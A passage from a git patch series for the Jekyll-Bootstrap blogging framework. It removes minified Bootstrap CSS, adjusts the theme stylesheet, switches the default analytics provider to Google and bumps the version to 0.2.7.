0.15);box-shadow:0 0 3px rgba(0, 0, 0, 0.15);} -.topbar-inner,.topbar .fill{background-color:#222;background-color:#222222;background-repeat:repeat-x;background-image:-khtml-gradient(linear, left top, left bottom, from(#333333), to(#222222));background-image:-moz-linear-gradient(top, #333333, #222222);background-image:-ms-linear-gradient(top, #333333, #222222);background-image:-webkit-gradient(linear, left top, left bottom, color-stop(0%, #333333), color-stop(100%, #222222));background-image:-webkit-linear-gradient(top, #333333, #222222);background-image:-o-linear-gradient(top, #333333, #222222);background-image:linear-gradient(top, #333333, #222222);filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#333333', endColorstr='#222222', GradientType=0);-webkit-box-shadow:0 1px 3px rgba(0, 0, 0, 0.25),inset 0 -1px 0 rgba(0, 0, 0, 0.1);-moz-box-shadow:0 1px 3px rgba(0, 0, 0, 0.25),inset 0 -1px 0 rgba(0, 0, 0, 0.1);box-shadow:0 1px 3px rgba(0, 0, 0, 0.25),inset 0 -1px 0 rgba(0, 0, 0, 0.1);} -.topbar div>ul,.nav{display:block;float:left;margin:0 10px 0 0;position:relative;left:0;}.topbar div>ul>li,.nav>li{display:block;float:left;} -.topbar div>ul a,.nav a{display:block;float:none;padding:10px 10px 11px;line-height:19px;text-decoration:none;}.topbar div>ul a:hover,.nav a:hover{color:#ffffff;text-decoration:none;} -.topbar div>ul .active>a,.nav .active>a{background-color:#222;background-color:rgba(0, 0, 0, 0.5);} -.topbar div>ul.secondary-nav,.nav.secondary-nav{float:right;margin-left:10px;margin-right:0;}.topbar div>ul.secondary-nav .menu-dropdown,.nav.secondary-nav .menu-dropdown,.topbar div>ul.secondary-nav .dropdown-menu,.nav.secondary-nav .dropdown-menu{right:0;border:0;} -.topbar div>ul a.menu:hover,.nav a.menu:hover,.topbar div>ul li.open .menu,.nav li.open .menu,.topbar div>ul .dropdown-toggle:hover,.nav .dropdown-toggle:hover,.topbar div>ul .dropdown.open .dropdown-toggle,.nav .dropdown.open .dropdown-toggle{background:#444;background:rgba(255, 255, 255, 0.05);} -.topbar div>ul .menu-dropdown,.nav .menu-dropdown,.topbar div>ul .dropdown-menu,.nav .dropdown-menu{background-color:#333;}.topbar div>ul .menu-dropdown a.menu,.nav .menu-dropdown a.menu,.topbar div>ul .dropdown-menu a.menu,.nav .dropdown-menu a.menu,.topbar div>ul .menu-dropdown .dropdown-toggle,.nav .menu-dropdown .dropdown-toggle,.topbar div>ul .dropdown-menu .dropdown-toggle,.nav .dropdown-menu .dropdown-toggle{color:#ffffff;}.topbar div>ul .menu-dropdown a.menu.open,.nav .menu-dropdown a.menu.open,.topbar div>ul .dropdown-menu a.menu.open,.nav .dropdown-menu a.menu.open,.topbar div>ul .menu-dropdown .dropdown-toggle.open,.nav .menu-dropdown .dropdown-toggle.open,.topbar div>ul .dropdown-menu .dropdown-toggle.open,.nav .dropdown-menu .dropdown-toggle.open{background:#444;background:rgba(255, 255, 255, 0.05);} -.topbar div>ul .menu-dropdown li a,.nav .menu-dropdown li a,.topbar div>ul .dropdown-menu li a,.nav .dropdown-menu li a{color:#999;text-shadow:0 1px 0 rgba(0, 0, 0, 0.5);}.topbar div>ul .menu-dropdown li a:hover,.nav .menu-dropdown li a:hover,.topbar div>ul .dropdown-menu li a:hover,.nav .dropdown-menu li a:hover{background-color:#191919;background-repeat:repeat-x;background-image:-khtml-gradient(linear, left top, left bottom, from(#292929), to(#191919));background-image:-moz-linear-gradient(top, #292929, #191919);background-image:-ms-linear-gradient(top, #292929, #191919);background-image:-webkit-gradient(linear, left top, left bottom, color-stop(0%, #292929), color-stop(100%, #191919));background-image:-webkit-linear-gradient(top, #292929, #191919);background-image:-o-linear-gradient(top, #292929, #191919);background-image:linear-gradient(top, #292929, #191919);filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#292929', endColorstr='#191919', GradientType=0);color:#ffffff;} -.topbar div>ul .menu-dropdown .active a,.nav .menu-dropdown .active a,.topbar div>ul .dropdown-menu .active a,.nav .dropdown-menu .active a{color:#ffffff;} -.topbar div>ul .menu-dropdown .divider,.nav .menu-dropdown .divider,.topbar div>ul .dropdown-menu .divider,.nav .dropdown-menu .divider{background-color:#222;border-color:#444;} -.topbar ul .menu-dropdown li a,.topbar ul .dropdown-menu li a{padding:4px 15px;} -li.menu,.dropdown{position:relative;} -a.menu:after,.dropdown-toggle:after{width:0;height:0;display:inline-block;content:"↓";text-indent:-99999px;vertical-align:top;margin-top:8px;margin-left:4px;border-left:4px solid transparent;border-right:4px solid transparent;border-top:4px solid #ffffff;filter:alpha(opacity=50);-khtml-opacity:0.5;-moz-opacity:0.5;opacity:0.5;} -.menu-dropdown,.dropdown-menu{background-color:#ffffff;float:left;display:none;position:absolute;top:40px;z-index:900;min-width:160px;max-width:220px;_width:160px;margin-left:0;margin-right:0;padding:6px 0;zoom:1;border-color:#999;border-color:rgba(0, 0, 0, 0.2);border-style:solid;border-width:0 1px 1px;-webkit-border-radius:0 0 6px 6px;-moz-border-radius:0 0 6px 6px;border-radius:0 0 6px 6px;-webkit-box-shadow:0 2px 4px rgba(0, 0, 0, 0.2);-moz-box-shadow:0 2px 4px rgba(0, 0, 0, 0.2);box-shadow:0 2px 4px rgba(0, 0, 0, 0.2);-webkit-background-clip:padding-box;-moz-background-clip:padding-box;background-clip:padding-box;}.menu-dropdown li,.dropdown-menu li{float:none;display:block;background-color:none;} -.menu-dropdown .divider,.dropdown-menu .divider{height:1px;margin:5px 0;overflow:hidden;background-color:#eee;border-bottom:1px solid #ffffff;} -.topbar .dropdown-menu a,.dropdown-menu a{display:block;padding:4px 15px;clear:both;font-weight:normal;line-height:18px;color:#808080;text-shadow:0 1px 0 #ffffff;}.topbar .dropdown-menu a:hover,.dropdown-menu a:hover,.topbar .dropdown-menu a.hover,.dropdown-menu a.hover{background-color:#dddddd;background-repeat:repeat-x;background-image:-khtml-gradient(linear, left top, left bottom, from(#eeeeee), to(#dddddd));background-image:-moz-linear-gradient(top, #eeeeee, #dddddd);background-image:-ms-linear-gradient(top, #eeeeee, #dddddd);background-image:-webkit-gradient(linear, left top, left bottom, color-stop(0%, #eeeeee), color-stop(100%, #dddddd));background-image:-webkit-linear-gradient(top, #eeeeee, #dddddd);background-image:-o-linear-gradient(top, #eeeeee, #dddddd);background-image:linear-gradient(top, #eeeeee, #dddddd);filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#eeeeee', endColorstr='#dddddd', GradientType=0);color:#404040;text-decoration:none;-webkit-box-shadow:inset 0 1px 0 rgba(0, 0, 0, 0.025),inset 0 -1px rgba(0, 0, 0, 0.025);-moz-box-shadow:inset 0 1px 0 rgba(0, 0, 0, 0.025),inset 0 -1px rgba(0, 0, 0, 0.025);box-shadow:inset 0 1px 0 rgba(0, 0, 0, 0.025),inset 0 -1px rgba(0, 0, 0, 0.025);} -.open .menu,.dropdown.open .menu,.open .dropdown-toggle,.dropdown.open .dropdown-toggle{color:#ffffff;background:#ccc;background:rgba(0, 0, 0, 0.3);} -.open .menu-dropdown,.dropdown.open .menu-dropdown,.open .dropdown-menu,.dropdown.open .dropdown-menu{display:block;} -.tabs,.pills{margin:0 0 18px;padding:0;list-style:none;zoom:1;}.tabs:before,.pills:before,.tabs:after,.pills:after{display:table;content:"";zoom:1;} -.tabs:after,.pills:after{clear:both;} -.tabs>li,.pills>li{float:left;}.tabs>li>a,.pills>li>a{display:block;} -.tabs{border-color:#ddd;border-style:solid;border-width:0 0 1px;}.tabs>li{position:relative;margin-bottom:-1px;}.tabs>li>a{padding:0 15px;margin-right:2px;line-height:34px;border:1px solid transparent;-webkit-border-radius:4px 4px 0 0;-moz-border-radius:4px 4px 0 0;border-radius:4px 4px 0 0;}.tabs>li>a:hover{text-decoration:none;background-color:#eee;border-color:#eee #eee #ddd;} -.tabs .active>a,.tabs .active>a:hover{color:#808080;background-color:#ffffff;border:1px solid #ddd;border-bottom-color:transparent;cursor:default;} -.tabs .menu-dropdown,.tabs .dropdown-menu{top:35px;border-width:1px;-webkit-border-radius:0 6px 6px 6px;-moz-border-radius:0 6px 6px 6px;border-radius:0 6px 6px 6px;} -.tabs a.menu:after,.tabs .dropdown-toggle:after{border-top-color:#999;margin-top:15px;margin-left:5px;} -.tabs li.open.menu .menu,.tabs .open.dropdown .dropdown-toggle{border-color:#999;} -.tabs li.open a.menu:after,.tabs .dropdown.open .dropdown-toggle:after{border-top-color:#555;} -.pills a{margin:5px 3px 5px 0;padding:0 15px;line-height:30px;text-shadow:0 1px 1px #ffffff;-webkit-border-radius:15px;-moz-border-radius:15px;border-radius:15px;}.pills a:hover{color:#ffffff;text-decoration:none;text-shadow:0 1px 1px rgba(0, 0, 0, 0.25);background-color:#00438a;} -.pills .active a{color:#ffffff;text-shadow:0 1px 1px rgba(0, 0, 0, 0.25);background-color:#0069d6;} -.pills-vertical>li{float:none;} -.tab-content>.tab-pane,.pill-content>.pill-pane,.tab-content>div,.pill-content>div{display:none;} -.tab-content>.active,.pill-content>.active{display:block;} -.breadcrumb{padding:7px 14px;margin:0 0 18px;background-color:#f5f5f5;background-repeat:repeat-x;background-image:-khtml-gradient(linear, left top, left bottom, from(#ffffff), to(#f5f5f5));background-image:-moz-linear-gradient(top, #ffffff, #f5f5f5);background-image:-ms-linear-gradient(top, #ffffff, #f5f5f5);background-image:-webkit-gradient(linear, left top, left bottom, color-stop(0%, #ffffff), color-stop(100%, #f5f5f5));background-image:-webkit-linear-gradient(top, #ffffff, #f5f5f5);background-image:-o-linear-gradient(top, #ffffff, #f5f5f5);background-image:linear-gradient(top, #ffffff, #f5f5f5);filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#ffffff', endColorstr='#f5f5f5', GradientType=0);border:1px solid #ddd;-webkit-border-radius:3px;-moz-border-radius:3px;border-radius:3px;-webkit-box-shadow:inset 0 1px 0 #ffffff;-moz-box-shadow:inset 0 1px 0 #ffffff;box-shadow:inset 0 1px 0 #ffffff;}.breadcrumb li{display:inline;text-shadow:0 1px 0 #ffffff;} -.breadcrumb .divider{padding:0 5px;color:#bfbfbf;} -.breadcrumb .active a{color:#404040;} -.hero-unit{background-color:#f5f5f5;margin-bottom:30px;padding:60px;-webkit-border-radius:6px;-moz-border-radius:6px;border-radius:6px;}.hero-unit h1{margin-bottom:0;font-size:60px;line-height:1;letter-spacing:-1px;} -.hero-unit p{font-size:18px;font-weight:200;line-height:27px;} -footer{margin-top:17px;padding-top:17px;border-top:1px solid #eee;} -.page-header{margin-bottom:17px;border-bottom:1px solid #ddd;-webkit-box-shadow:0 1px 0 rgba(255, 255, 255, 0.5);-moz-box-shadow:0 1px 0 rgba(255, 255, 255, 0.5);box-shadow:0 1px 0 rgba(255, 255, 255, 0.5);}.page-header h1{margin-bottom:8px;} -.btn.danger,.alert-message.danger,.btn.danger:hover,.alert-message.danger:hover,.btn.error,.alert-message.error,.btn.error:hover,.alert-message.error:hover,.btn.success,.alert-message.success,.btn.success:hover,.alert-message.success:hover,.btn.info,.alert-message.info,.btn.info:hover,.alert-message.info:hover{color:#ffffff;} -.btn .close,.alert-message .close{font-family:Arial,sans-serif;line-height:18px;} -.btn.danger,.alert-message.danger,.btn.error,.alert-message.error{background-color:#c43c35;background-repeat:repeat-x;background-image:-khtml-gradient(linear, left top, left bottom, from(#ee5f5b), to(#c43c35));background-image:-moz-linear-gradient(top, #ee5f5b, #c43c35);background-image:-ms-linear-gradient(top, #ee5f5b, #c43c35);background-image:-webkit-gradient(linear, left top, left bottom, color-stop(0%, #ee5f5b), color-stop(100%, #c43c35));background-image:-webkit-linear-gradient(top, #ee5f5b, #c43c35);background-image:-o-linear-gradient(top, #ee5f5b, #c43c35);background-image:linear-gradient(top, #ee5f5b, #c43c35);filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#ee5f5b', endColorstr='#c43c35', GradientType=0);text-shadow:0 -1px 0 rgba(0, 0, 0, 0.25);border-color:#c43c35 #c43c35 #882a25;border-color:rgba(0, 0, 0, 0.1) rgba(0, 0, 0, 0.1) rgba(0, 0, 0, 0.25);} -.btn.success,.alert-message.success{background-color:#57a957;background-repeat:repeat-x;background-image:-khtml-gradient(linear, left top, left bottom, from(#62c462), to(#57a957));background-image:-moz-linear-gradient(top, #62c462, #57a957);background-image:-ms-linear-gradient(top, #62c462, #57a957);background-image:-webkit-gradient(linear, left top, left bottom, color-stop(0%, #62c462), color-stop(100%, #57a957));background-image:-webkit-linear-gradient(top, #62c462, #57a957);background-image:-o-linear-gradient(top, #62c462, #57a957);background-image:linear-gradient(top, #62c462, #57a957);filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#62c462', endColorstr='#57a957', GradientType=0);text-shadow:0 -1px 0 rgba(0, 0, 0, 0.25);border-color:#57a957 #57a957 #3d773d;border-color:rgba(0, 0, 0, 0.1) rgba(0, 0, 0, 0.1) rgba(0, 0, 0, 0.25);} -.btn.info,.alert-message.info{background-color:#339bb9;background-repeat:repeat-x;background-image:-khtml-gradient(linear, left top, left bottom, from(#5bc0de), to(#339bb9));background-image:-moz-linear-gradient(top, #5bc0de, #339bb9);background-image:-ms-linear-gradient(top, #5bc0de, #339bb9);background-image:-webkit-gradient(linear, left top, left bottom, color-stop(0%, #5bc0de), color-stop(100%, #339bb9));background-image:-webkit-linear-gradient(top, #5bc0de, #339bb9);background-image:-o-linear-gradient(top, #5bc0de, #339bb9);background-image:linear-gradient(top, #5bc0de, #339bb9);filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#5bc0de', endColorstr='#339bb9', GradientType=0);text-shadow:0 -1px 0 rgba(0, 0, 0, 0.25);border-color:#339bb9 #339bb9 #22697d;border-color:rgba(0, 0, 0, 0.1) rgba(0, 0, 0, 0.1) rgba(0, 0, 0, 0.25);} -.btn{cursor:pointer;display:inline-block;background-color:#e6e6e6;background-repeat:no-repeat;background-image:-webkit-gradient(linear, 0 0, 0 100%, from(#ffffff), color-stop(25%, #ffffff), to(#e6e6e6));background-image:-webkit-linear-gradient(#ffffff, #ffffff 25%, #e6e6e6);background-image:-moz-linear-gradient(top, #ffffff, #ffffff 25%, #e6e6e6);background-image:-ms-linear-gradient(#ffffff, #ffffff 25%, #e6e6e6);background-image:-o-linear-gradient(#ffffff, #ffffff 25%, #e6e6e6);background-image:linear-gradient(#ffffff, #ffffff 25%, #e6e6e6);filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#ffffff', endColorstr='#e6e6e6', GradientType=0);padding:5px 14px 6px;text-shadow:0 1px 1px rgba(255, 255, 255, 0.75);color:#333;font-size:13px;line-height:normal;border:1px solid #ccc;border-bottom-color:#bbb;-webkit-border-radius:4px;-moz-border-radius:4px;border-radius:4px;-webkit-box-shadow:inset 0 1px 0 rgba(255, 255, 255, 0.2),0 1px 2px rgba(0, 0, 0, 0.05);-moz-box-shadow:inset 0 1px 0 rgba(255, 255, 255, 0.2),0 1px 2px rgba(0, 0, 0, 0.05);box-shadow:inset 0 1px 0 rgba(255, 255, 255, 0.2),0 1px 2px rgba(0, 0, 0, 0.05);-webkit-transition:0.1s linear all;-moz-transition:0.1s linear all;-ms-transition:0.1s linear all;-o-transition:0.1s linear all;transition:0.1s linear all;}.btn:hover{background-position:0 -15px;color:#333;text-decoration:none;} -.btn:focus{outline:1px dotted #666;} -.btn.primary{color:#ffffff;background-color:#0064cd;background-repeat:repeat-x;background-image:-khtml-gradient(linear, left top, left bottom, from(#049cdb), to(#0064cd));background-image:-moz-linear-gradient(top, #049cdb, #0064cd);background-image:-ms-linear-gradient(top, #049cdb, #0064cd);background-image:-webkit-gradient(linear, left top, left bottom, color-stop(0%, #049cdb), color-stop(100%, #0064cd));background-image:-webkit-linear-gradient(top, #049cdb, #0064cd);background-image:-o-linear-gradient(top, #049cdb, #0064cd);background-image:linear-gradient(top, #049cdb, #0064cd);filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#049cdb', endColorstr='#0064cd', GradientType=0);text-shadow:0 -1px 0 rgba(0, 0, 0, 0.25);border-color:#0064cd #0064cd #003f81;border-color:rgba(0, 0, 0, 0.1) rgba(0, 0, 0, 0.1) rgba(0, 0, 0, 0.25);} -.btn.active,.btn:active{-webkit-box-shadow:inset 0 2px 4px rgba(0, 0, 0, 0.25),0 1px 2px rgba(0, 0, 0, 0.05);-moz-box-shadow:inset 0 2px 4px rgba(0, 0, 0, 0.25),0 1px 2px rgba(0, 0, 0, 0.05);box-shadow:inset 0 2px 4px rgba(0, 0, 0, 0.25),0 1px 2px rgba(0, 0, 0, 0.05);} -.btn.disabled{cursor:default;background-image:none;filter:progid:DXImageTransform.Microsoft.gradient(enabled = false);filter:alpha(opacity=65);-khtml-opacity:0.65;-moz-opacity:0.65;opacity:0.65;-webkit-box-shadow:none;-moz-box-shadow:none;box-shadow:none;} -.btn[disabled]{cursor:default;background-image:none;filter:progid:DXImageTransform.Microsoft.gradient(enabled = false);filter:alpha(opacity=65);-khtml-opacity:0.65;-moz-opacity:0.65;opacity:0.65;-webkit-box-shadow:none;-moz-box-shadow:none;box-shadow:none;} -.btn.large{font-size:15px;line-height:normal;padding:9px 14px 9px;-webkit-border-radius:6px;-moz-border-radius:6px;border-radius:6px;} -.btn.small{padding:7px 9px 7px;font-size:11px;} -:root .alert-message,:root .btn{border-radius:0 \0;} -button.btn::-moz-focus-inner,input[type=submit].btn::-moz-focus-inner{padding:0;border:0;} -.close{float:right;color:#000000;font-size:20px;font-weight:bold;line-height:13.5px;text-shadow:0 1px 0 #ffffff;filter:alpha(opacity=25);-khtml-opacity:0.25;-moz-opacity:0.25;opacity:0.25;}.close:hover{color:#000000;text-decoration:none;filter:alpha(opacity=40);-khtml-opacity:0.4;-moz-opacity:0.4;opacity:0.4;} -.alert-message{position:relative;padding:7px 15px;margin-bottom:18px;color:#404040;background-color:#eedc94;background-repeat:repeat-x;background-image:-khtml-gradient(linear, left top, left bottom, from(#fceec1), to(#eedc94));background-image:-moz-linear-gradient(top, #fceec1, #eedc94);background-image:-ms-linear-gradient(top, #fceec1, #eedc94);background-image:-webkit-gradient(linear, left top, left bottom, color-stop(0%, #fceec1), color-stop(100%, #eedc94));background-image:-webkit-linear-gradient(top, #fceec1, #eedc94);background-image:-o-linear-gradient(top, #fceec1, #eedc94);background-image:linear-gradient(top, #fceec1, #eedc94);filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#fceec1', endColorstr='#eedc94', GradientType=0);text-shadow:0 -1px 0 rgba(0, 0, 0, 0.25);border-color:#eedc94 #eedc94 #e4c652;border-color:rgba(0, 0, 0, 0.1) rgba(0, 0, 0, 0.1) rgba(0, 0, 0, 0.25);text-shadow:0 1px 0 rgba(255, 255, 255, 0.5);border-width:1px;border-style:solid;-webkit-border-radius:4px;-moz-border-radius:4px;border-radius:4px;-webkit-box-shadow:inset 0 1px 0 rgba(255, 255, 255, 0.25);-moz-box-shadow:inset 0 1px 0 rgba(255, 255, 255, 0.25);box-shadow:inset 0 1px 0 rgba(255, 255, 255, 0.25);}.alert-message .close{margin-top:1px;*margin-top:0;} -.alert-message a{font-weight:bold;color:#404040;} -.alert-message.danger p a,.alert-message.error p a,.alert-message.success p a,.alert-message.info p a{color:#ffffff;} -.alert-message h5{line-height:18px;} -.alert-message p{margin-bottom:0;} -.alert-message div{margin-top:5px;margin-bottom:2px;line-height:28px;} -.alert-message .btn{-webkit-box-shadow:0 1px 0 rgba(255, 255, 255, 0.25);-moz-box-shadow:0 1px 0 rgba(255, 255, 255, 0.25);box-shadow:0 1px 0 rgba(255, 255, 255, 0.25);} -.alert-message.block-message{background-image:none;background-color:#fdf5d9;filter:progid:DXImageTransform.Microsoft.gradient(enabled = false);padding:14px;border-color:#fceec1;-webkit-box-shadow:none;-moz-box-shadow:none;box-shadow:none;}.alert-message.block-message ul,.alert-message.block-message p{margin-right:30px;} -.alert-message.block-message ul{margin-bottom:0;} -.alert-message.block-message li{color:#404040;} -.alert-message.block-message .alert-actions{margin-top:5px;} -.alert-message.block-message.error,.alert-message.block-message.success,.alert-message.block-message.info{color:#404040;text-shadow:0 1px 0 rgba(255, 255, 255, 0.5);} -.alert-message.block-message.error{background-color:#fddfde;border-color:#fbc7c6;} -.alert-message.block-message.success{background-color:#d1eed1;border-color:#bfe7bf;} -.alert-message.block-message.info{background-color:#ddf4fb;border-color:#c6edf9;} -.alert-message.block-message.danger p a,.alert-message.block-message.error p a,.alert-message.block-message.success p a,.alert-message.block-message.info p a{color:#404040;} -.pagination{height:36px;margin:18px 0;}.pagination ul{float:left;margin:0;border:1px solid #ddd;border:1px solid rgba(0, 0, 0, 0.15);-webkit-border-radius:3px;-moz-border-radius:3px;border-radius:3px;-webkit-box-shadow:0 1px 2px rgba(0, 0, 0, 0.05);-moz-box-shadow:0 1px 2px rgba(0, 0, 0, 0.05);box-shadow:0 1px 2px rgba(0, 0, 0, 0.05);} -.pagination li{display:inline;} -.pagination a{float:left;padding:0 14px;line-height:34px;border-right:1px solid;border-right-color:#ddd;border-right-color:rgba(0, 0, 0, 0.15);*border-right-color:#ddd;text-decoration:none;} -.pagination a:hover,.pagination .active a{background-color:#c7eefe;} -.pagination .disabled a,.pagination .disabled a:hover{background-color:transparent;color:#bfbfbf;} -.pagination .next a{border:0;} -.well{background-color:#f5f5f5;margin-bottom:20px;padding:19px;min-height:20px;border:1px solid #eee;border:1px solid rgba(0, 0, 0, 0.05);-webkit-border-radius:4px;-moz-border-radius:4px;border-radius:4px;-webkit-box-shadow:inset 0 1px 1px rgba(0, 0, 0, 0.05);-moz-box-shadow:inset 0 1px 1px rgba(0, 0, 0, 0.05);box-shadow:inset 0 1px 1px rgba(0, 0, 0, 0.05);}.well blockquote{border-color:#ddd;border-color:rgba(0, 0, 0, 0.15);} -.modal-backdrop{background-color:#000000;position:fixed;top:0;left:0;right:0;bottom:0;z-index:10000;}.modal-backdrop.fade{opacity:0;} -.modal-backdrop,.modal-backdrop.fade.in{filter:alpha(opacity=80);-khtml-opacity:0.8;-moz-opacity:0.8;opacity:0.8;} -.modal{position:fixed;top:50%;left:50%;z-index:11000;width:560px;margin:-250px 0 0 -280px;background-color:#ffffff;border:1px solid #999;border:1px solid rgba(0, 0, 0, 0.3);*border:1px solid #999;-webkit-border-radius:6px;-moz-border-radius:6px;border-radius:6px;-webkit-box-shadow:0 3px 7px rgba(0, 0, 0, 0.3);-moz-box-shadow:0 3px 7px rgba(0, 0, 0, 0.3);box-shadow:0 3px 7px rgba(0, 0, 0, 0.3);-webkit-background-clip:padding-box;-moz-background-clip:padding-box;background-clip:padding-box;}.modal .close{margin-top:7px;} -.modal.fade{-webkit-transition:opacity .3s linear, top .3s ease-out;-moz-transition:opacity .3s linear, top .3s ease-out;-ms-transition:opacity .3s linear, top .3s ease-out;-o-transition:opacity .3s linear, top .3s ease-out;transition:opacity .3s linear, top .3s ease-out;top:-25%;} -.modal.fade.in{top:50%;} -.modal-header{border-bottom:1px solid #eee;padding:5px 15px;} -.modal-body{padding:15px;} -.modal-body form{margin-bottom:0;} -.modal-footer{background-color:#f5f5f5;padding:14px 15px 15px;border-top:1px solid #ddd;-webkit-border-radius:0 0 6px 6px;-moz-border-radius:0 0 6px 6px;border-radius:0 0 6px 6px;-webkit-box-shadow:inset 0 1px 0 #ffffff;-moz-box-shadow:inset 0 1px 0 #ffffff;box-shadow:inset 0 1px 0 #ffffff;zoom:1;margin-bottom:0;}.modal-footer:before,.modal-footer:after{display:table;content:"";zoom:1;} -.modal-footer:after{clear:both;} -.modal-footer .btn{float:right;margin-left:5px;} -.modal .popover,.modal .twipsy{z-index:12000;} -.twipsy{display:block;position:absolute;visibility:visible;padding:5px;font-size:11px;z-index:1000;filter:alpha(opacity=80);-khtml-opacity:0.8;-moz-opacity:0.8;opacity:0.8;}.twipsy.fade.in{filter:alpha(opacity=80);-khtml-opacity:0.8;-moz-opacity:0.8;opacity:0.8;} -.twipsy.above .twipsy-arrow{bottom:0;left:50%;margin-left:-5px;border-left:5px solid transparent;border-right:5px solid transparent;border-top:5px solid #000000;} -.twipsy.left .twipsy-arrow{top:50%;right:0;margin-top:-5px;border-top:5px solid transparent;border-bottom:5px solid transparent;border-left:5px solid #000000;} -.twipsy.below .twipsy-arrow{top:0;left:50%;margin-left:-5px;border-left:5px solid transparent;border-right:5px solid transparent;border-bottom:5px solid #000000;} -.twipsy.right .twipsy-arrow{top:50%;left:0;margin-top:-5px;border-top:5px solid transparent;border-bottom:5px solid transparent;border-right:5px solid #000000;} -.twipsy-inner{padding:3px 8px;background-color:#000000;color:white;text-align:center;max-width:200px;text-decoration:none;-webkit-border-radius:4px;-moz-border-radius:4px;border-radius:4px;} -.twipsy-arrow{position:absolute;width:0;height:0;} -.popover{position:absolute;top:0;left:0;z-index:1000;padding:5px;display:none;}.popover.above .arrow{bottom:0;left:50%;margin-left:-5px;border-left:5px solid transparent;border-right:5px solid transparent;border-top:5px solid #000000;} -.popover.right .arrow{top:50%;left:0;margin-top:-5px;border-top:5px solid transparent;border-bottom:5px solid transparent;border-right:5px solid #000000;} -.popover.below .arrow{top:0;left:50%;margin-left:-5px;border-left:5px solid transparent;border-right:5px solid transparent;border-bottom:5px solid #000000;} -.popover.left .arrow{top:50%;right:0;margin-top:-5px;border-top:5px solid transparent;border-bottom:5px solid transparent;border-left:5px solid #000000;} -.popover .arrow{position:absolute;width:0;height:0;} -.popover .inner{background:#000000;background:rgba(0, 0, 0, 0.8);padding:3px;overflow:hidden;width:280px;-webkit-border-radius:6px;-moz-border-radius:6px;border-radius:6px;-webkit-box-shadow:0 3px 7px rgba(0, 0, 0, 0.3);-moz-box-shadow:0 3px 7px rgba(0, 0, 0, 0.3);box-shadow:0 3px 7px rgba(0, 0, 0, 0.3);} -.popover .title{background-color:#f5f5f5;padding:9px 15px;line-height:1;-webkit-border-radius:3px 3px 0 0;-moz-border-radius:3px 3px 0 0;border-radius:3px 3px 0 0;border-bottom:1px solid #eee;} -.popover .content{background-color:#ffffff;padding:14px;-webkit-border-radius:0 0 3px 3px;-moz-border-radius:0 0 3px 3px;border-radius:0 0 3px 3px;-webkit-background-clip:padding-box;-moz-background-clip:padding-box;background-clip:padding-box;}.popover .content p,.popover .content ul,.popover .content ol{margin-bottom:0;} -.fade{-webkit-transition:opacity 0.15s linear;-moz-transition:opacity 0.15s linear;-ms-transition:opacity 0.15s linear;-o-transition:opacity 0.15s linear;transition:opacity 0.15s linear;opacity:0;}.fade.in{opacity:1;} -.label{padding:1px 3px 2px;font-size:9.75px;font-weight:bold;color:#ffffff;text-transform:uppercase;white-space:nowrap;background-color:#bfbfbf;-webkit-border-radius:3px;-moz-border-radius:3px;border-radius:3px;}.label.important{background-color:#c43c35;} -.label.warning{background-color:#f89406;} -.label.success{background-color:#46a546;} -.label.notice{background-color:#62cffc;} -.media-grid{margin-left:-20px;margin-bottom:0;zoom:1;}.media-grid:before,.media-grid:after{display:table;content:"";zoom:1;} -.media-grid:after{clear:both;} -.media-grid li{display:inline;} -.media-grid a{float:left;padding:4px;margin:0 0 18px 20px;border:1px solid #ddd;-webkit-border-radius:4px;-moz-border-radius:4px;border-radius:4px;-webkit-box-shadow:0 1px 1px rgba(0, 0, 0, 0.075);-moz-box-shadow:0 1px 1px rgba(0, 0, 0, 0.075);box-shadow:0 1px 1px rgba(0, 0, 0, 0.075);}.media-grid a img{display:block;} -.media-grid a:hover{border-color:#0069d6;-webkit-box-shadow:0 1px 4px rgba(0, 105, 214, 0.25);-moz-box-shadow:0 1px 4px rgba(0, 105, 214, 0.25);box-shadow:0 1px 4px rgba(0, 105, 214, 0.25);} \ No newline at end of file diff --git a/assets/themes/twitter/css/style.css b/assets/themes/twitter/css/style.css index ac3cb73..12a24e0 100644 --- a/assets/themes/twitter/css/style.css +++ b/assets/themes/twitter/css/style.css @@ -2,15 +2,15 @@ html, body { background-color: #eee; } -body { - padding-top: 40px; /* 40px to make the container go all the way to the bottom of the topbar */ +.navbar { + margin-bottom: 0; +} +.container > footer { + margin-top: 20px; } .container > footer p { text-align: center; /* center align it with the container */ } -.container { - width: 820px; /* downsize our container to make the content feel a bit tighter and more cohesive. NOTE: this removes two full columns from the grid, meaning you only go to 14 columns and not 16. */ -} /* The white background content wrapper */ .content { From f9b9cff1da9d254b19b6625db0bc04fe928c4fdb Mon Sep 17 00:00:00 2001 From: Abhijeet Kumar <abhijeet.kumar.ak@gmail.com> Date: Thu, 1 Mar 2012 00:04:51 -0800 Subject: [PATCH 084/144] Setting google as default analytics provider --- _config.yml | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) diff --git a/_config.yml b/_config.yml index 1def3ed..ec08e3d 100644 --- a/_config.yml +++ b/_config.yml @@ -97,7 +97,7 @@ JB : # Set 'provider' to false to turn analytics off globally. # analytics : - provider : mixpanel + provider : google google : tracking_id : 'UA-123-12' getclicky : @@ -105,7 +105,6 @@ JB : mixpanel : token : '_MIXPANEL_TOKEN_' - # Settings for sharing helper. # Sharing is for things like tweet, plusone, like, reddit buttons etc. # Set 'provider' to the sharing provider you want to use. From 12e41751883d7336225cfd039139137bac9eca4d Mon Sep 17 00:00:00 2001 From: Jade Dominguez <plusjade@gmail.com> Date: Thu, 1 Mar 2012 03:18:33 -0800 Subject: [PATCH 085/144] bump to 0.2.7 --- README.md | 2 +- Rakefile | 2 +- _config.yml | 2 +- changelog.md | 16 +++++++++++++--- 4 files changed, 16 insertions(+), 6 deletions(-) diff --git a/README.md b/README.md index 1bcfdd9..401bca5 100644 --- a/README.md +++ b/README.md @@ -8,7 +8,7 @@ For all usage and documentation please see: <http://jekyllbootstrap.com> ## Version -0.2.0 - stable and versioned using [semantic versioning](http://semver.org/). +0.2.7 - stable and versioned using [semantic versioning](http://semver.org/). ## Contributing diff --git a/Rakefile b/Rakefile index 